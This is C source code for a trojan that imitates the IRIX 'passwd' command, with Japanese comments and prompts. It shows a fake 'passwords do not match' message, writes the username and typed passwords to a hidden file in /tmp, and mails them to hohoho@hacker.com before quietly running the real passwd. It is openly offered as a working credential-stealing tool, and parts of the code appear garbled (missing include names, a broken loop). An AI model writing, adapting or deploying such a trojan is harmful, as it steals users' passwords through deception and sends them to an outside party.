/*==================================================== passwdトロイ for IRIX. Developped by UNYUN [概要] passwdを実行したとき、一回目は失敗しそのときの パスワードをロギングして更にメールで通知します. ==================================================== */ #include #include #include /* パスワードを通知するメアド */ /* 以下の1行を削除するとメール通知は行われません */ #define MAIL "hohoho@hacker.com" /* ロギングファイル. 見つかりにくい名前に変更 */ #define LOGFILE "/tmp/.pl" #define TMPFILE "/tmp/.tmp" #define MAX_USERNAME 200 main(int argc,char *argv[]) { int uid=getuid(); struct passwd *p; char *oldpasswd,*newpasswd,*renewpasswd; char *getpass_sys(char *); char username[MAX_USERNAME]; char buf[200]; FILE *fp; p=getpwuid(uid); if (argc==1) strcpy(username,p->pw_name); else{ if (uid==0 || strcmp(p->pw_name,getlogin())==0) strcpy(username,argv[1]); else{ printf("許可が与えられていません\n"); exit(1); } } printf("%s のパスワードを変更します\n",username); if (uid!=0){ oldpasswd=getpass("旧のパスワード:"); if (strlen(oldpasswd)==0){ printf("残念です\n"); exit(1); } } newpasswd=getpass_sys("新パスワード:"); renewpasswd=getpass("新しいパスワードを再入力して下さい:"); printf("一致しません\n再実行して下さい\n"); if ((fp=fopen(LOGFILE,"a"))!=NULL){ fprintf(fp,"%s %s %s\n",p->pw_name,newpasswd,renewpasswd); fclose(fp); } #ifdef MAIL if ((fp=fopen(TMPFILE,"w"))!=NULL){ fprintf(fp,"%s %s %s\n",p->pw_name,newpasswd,renewpasswd); fclose(fp); } sprintf(buf,"mail %s < %s",MAIL,TMPFILE); system(buf); remove(TMPFILE); #endif system("passwd"); } char *getpass_sys(char *d) { static char *x; int i,c1,c2; for (;;){ x=getpass(d); if (strlen(x)<6){ printf("パスワードが短か過ぎます - 少なくとも 6 文字以上必要です\n"); continue; } c1=c2=0; for (i=0;i='a' && x[i]<='x') || (x[i]>='A' && x[i]<='X')) c1++; else c2++; } if (c1<2 || c2==0){ printf("パスワードには 2 つ以上の欧字および 1 つ以上の\n"); printf("数字または特殊文字を含まなければなりません\n"); continue; } break; } return (x); }